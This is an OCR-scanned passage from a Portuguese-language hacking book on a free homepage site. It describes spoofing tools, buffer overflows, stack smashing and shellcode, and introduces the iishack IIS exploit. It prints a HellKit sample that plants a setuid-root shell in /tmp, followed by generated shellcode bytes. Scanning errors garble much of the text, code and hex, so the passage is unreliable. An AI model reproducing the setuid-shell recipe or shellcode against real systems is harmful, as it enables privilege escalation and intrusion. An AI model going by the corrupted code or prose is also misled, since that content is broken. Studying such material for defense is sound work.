    Basicamente explora o serviço de ARP (Address Resolution Protocol), que tem como principal função resolver endereços físicos de hardware com o IR No ato de uma sessão o ARP carrega o endereço IP da origem para o destino. Neste tipo de ataque é forjado o IP da origem, mas o endereço de hardware permanece o original do atacante.

    Ferramentas

    Existem algumas ferramentas conhecidas para Spoofing, apesar de que as técnicas atuais dispensam as mesmas e o hacker, utiliza suas shells para realizar os ataques. Vamos falar de algumas principais:

    Zodiac - DNS Spoofer

    Autor: Smiler e Teso Team

    Plataforma: Linux

    URL: http ://packetstorm.securify.com/spoof

    Licença: GPL

    O zodiac é um spoof de DNS, que explora vulnerabilidades encontradas neste protocolo. Pode ainda executar tarefas de snifflng e spoof local de DNS. Desenvolvido com Smiler; juntamente com a equipe da Teso, é uma ferramenta bastante eficaz.

    Jizz - DNS Spoofer

    Autor: Desconhecido

    Plataforma: Linux

    U RL: http ://bobo.urs2.net/computer_security/152cscripts/jizz.c

    Licença: GPL

    O jizz é um dos primeiros DNS spoofers criados para a web. Apesar de estar ultrapassado (o próprio zodiac é considerado seu sucessor). E intereessan como elemento de estudo para o profissional de segurança.

    Teispoofer

    Autor: Vector X

    Plataforma: Linux

    Arquivo no CD: linux/spoof/sources/telspoof.c

    Licença: GPL

    Um simples spoofer baseado no protocolo telnet.

    Resumo

    Neste capítulo estudamos profundamente os port scanners, analisando os mc comuns utilizados pelos hackers. Vimos também os scanneis de vulneiabilldac como funcionam e como podem ser utilizados. Mostramos ainda alguns scann~ simples que podem se tornar objetos de estudo do usuário em seu dia a di Vimos também as técnicas de spoofing que consistem em usar endereços faís ou shells invadidas para atacar outras máquinas.

    Os Ataques

    Como é feito o Show

    Depois de levantadas as informações com os scanners, o hacker deverá agora explorar as possibilidades levantadas por este tipo de ferramenta. Normalmente, o conjunto de ferramentas utilizadas podem ser encontradas na Internet em diversos sites, desenvolvidas por ele ou então conseguidas no underground da web.

    Como comentamos no primeiro capítulo, existem várias formas de ataques possíveis, as mais populares são:

    - Buifer Overflows (locais e remotos);

    - DoS/DDoS

    Cada uma destas técnicas citadas, são utilizadas pelos hackers de acordo com seu modo de operação e de ataque. Iremos analisar neste capítulo como estas ferramentas são utilizadas e quais são as mais importantes no meio dos hackers.

    Buffer Overflows

    Os programas que manipulam variáveis necessitam de buffers, que são área da memória onde são armazenados dados que estas mesmas variáveis recebem. Esta área normalmente é limitada e, quando em um determinado momento, há um estouro desta área por um excesso de informações, ocorre o Buffer Overfiow, ou estouro do buffer.

    O Stack

    A principal função da CPU é o processamento e movimentação de dados. Ei quanto processa esses dados, a mesma precisa de um lugar para rapidamen salvar informações importantes devido ao espaço limitado dos registradon ("células de memória"). Essa informação é salva no stack, uma parte muito especial da memória que pode ser acessada com algumas instruções e assembler. O stack é variável em tamanho e posição.

    A primeira informação guardada no stack será a última a ser lida, e a última ser guardada será a primeira a ser lida, esse sistema é chamado de LIFO, ou last in, first out (ultimo dentro, primeiro a sair). Vamos a um exemplo. Vamos executar um programa (em certos casos, para conseguir o perfil de root... Como o stack pareceria quando o processo chamasse as suas variáveis dinâmica.

    .

    . .

    . ... .

    |----------------------- .

    -2048 bytes | local arrayl [1024] | ...

    |-----------------------|

    -1024 bytes | local array2 [1024] | size 1024 bytes

    |-----------------------|

    posiçao atual do stack | base pointer | size 4 bytes

    |-----------------------|

    +4 bytes | return address | size 4 bytes

    |-----------------------|

    +4 bytes : parametros ... | ...

     

    As variáveis são diferentes, e a informação é guardada no stack. Todo CPU usa um stack pointer, para marcar a posição atual (é chamada de SP). As partes serem analisadas serão o local array2 e o return address.

     

    O Return Address

    Quando um código é executado, a CPU salva um retum address no stack, se o processo é finalizado, a CPU pula e acha o retum address. Se o processo salva mais bytes em uma variável local do que seu tamanho normal, irá acontecer o overwrite, sobrescrevendo o return address antigo, e assim será nomeado overflow.

    Se (1024+8)1032 vezes o caractere "x" for escrito no array2 local,o processo irá escrever novamente o retum address. E o stack ficará na seguinte situação:

     

     

    -2048 bytes local arrayl[1024] 1024 times "X"

     

    4 times "X"

    +4 bytes 4 times "X"

    -1024 bytes posiçao atual do stack

     

     

     

    +4 bytes : parametros ...

    size 1024 bytes size 4 bytes size 4 bytes

     

    Com isto, é possível executar qualquer código arbitrário neste momento. Basta descobrir o return address e manipulá-lo!

    -2048 bytes local arrayl [1024].

    -1024 bytes código arbitrário

    posiçao atual do stack

    4 bytes de lixo

    +4 bytes jmp para o çódigo

     

    +4 bytes : parametros ...

    Shellcode

    O shellcode é basicamente uma série de comandos em assembler que o hack escreve no stacke modifica o retum address para voltar ao stack Assim, poc inserir sua instrução dentro de um processo vulnerável e então executá-lo, ex<tamente no stack O principal objetivo é escrever um código em assembler; qu execute um shellcom perfil de root. É assim que a operação é feita.

    HellKit

    Utilitário criado com o objetivo de facilitar a vida de shellcode-writers, com ele possível obter um shellcode em C. É gerado um output file, conhecido com hellcode.c que contém o shellcode sem null bytes. O HellKit pode criar shellcode de ate' 65535 (elevado a 16 - 1) bytes. O HellKit foi criado para operar en máquinas Linux/x86.

    O HeIlKit atua nas seguintes Syscalls:

    - open

    - dose

    - execve

    - chroot

    - chdir

    - dup

    Um simples exemplo pode ser visto no arquivo sample.c que contém instruçoe< para criar um shell de root no dir~óno /tmp:

    #include ".1. ./lib/jnt80.h"

     

    int main<>

    {

    char *sh - "/tmp/sh",

    *owner = "root";

     

    chown(sh, 0, 0>; chmod<sh, 06755>;

    }

     

    E com o HelIKit atuando:

    ./driver sample.c

    compiling sample3.c

    turning data to .text ...

    recompiling ...

    objdumping ...

    analyzing...

    Stealth's supa-dupa helícode-generator. Double head-kick edition.

    warning: defaulting hell-function to 'mam'

    found <_start> - skipping.

    found <done> - skipping.

    found <_do_global_dtors_aux> -Skipping.

    found <f mi_durnmy> - skipping.

    found <mam> - 0K. Do it.

    found <_do_global_ctors_aux> -Skipping.

    found <init_dummy> - skipping.

    using 'O1' for encryption.

    cleaning.

    Current helícode can be found in heilcode . c

    neuro-attack:~ /cod3 /hellkit/ src$

    neuro-attack:~/cod3/hellkit/src$ cat hellcode.c

    /*** Generated by Stealth's hellkit v1.1

    *** Don't edit!

    ***/

    char hell[) =

    "\xea\xoc\x2e\x75\x6c\x71\x2e\x72 \x69\xOl\x73 \x6e\x6e\x75\xOl\x80" "\xed\xs6\x2a\XOl\XOl\x8c\x75\x27\xOl\x8c\xbd\x26\xOl\xOl\XOl\XOl\x54\X88\~"

    ~

    ~

    "\xol\~\xec\XOc\x0l\XOl\)(52 \x88\xf2\xcc\x8l\x8c\x64\xf9\x5a\~f\XB8\xed\x5C" "\xc2\x91\x91\x91";

    int main<)

    int (*f) ()

    f = hell;

    printf("%d\n", strlen(hell>

     

    }

     

    neuro-attack: /cod3 /hellkit/src$

     

    O 'driver' acompanha o HellKit; ele toma os cuidados necessários para compil~ çáo do código com syscalls PIC (Position Independent Code), ou seja1 as fu, ções que permitem ao hackeracessar o sistema.

    É um excelente programa para aqueles que fazem exploits, em casos de shellcock muito complexos como o do exploit do wu-ftp ou do bind, tornando-se um ferramenta muito útil para os coders.

    Ferramentas Exemplos

    Como nosso intuito não é ficar ensinando como utilizar buifer overflows e sirr esclarecer o que eles fazem, damos exemplo de dois clássicos e que até hoje são explorados pelos hackers. Vamos a eles:

    iishack

    Autor: Eletronic Eye

    Plataforma: NT

    URL: http://www.eeye.com

    Licença: GPL

    O overflow existe na ISM.DLL no NT que manipula os arquivos .htr, utilizados para troca de senhas remotamente. Esses arquivos são instalados por defaul no lIS 4.0, sendo portanto uma das maiores vulnerabilidades existentes no NT

    Existia somente uma versão em assembler para ambien




    Add comment to this page:
    Your Name:
    Your message:

     
    Advertisement
     
     

    => Do you also want a homepage for free? Then click here! <=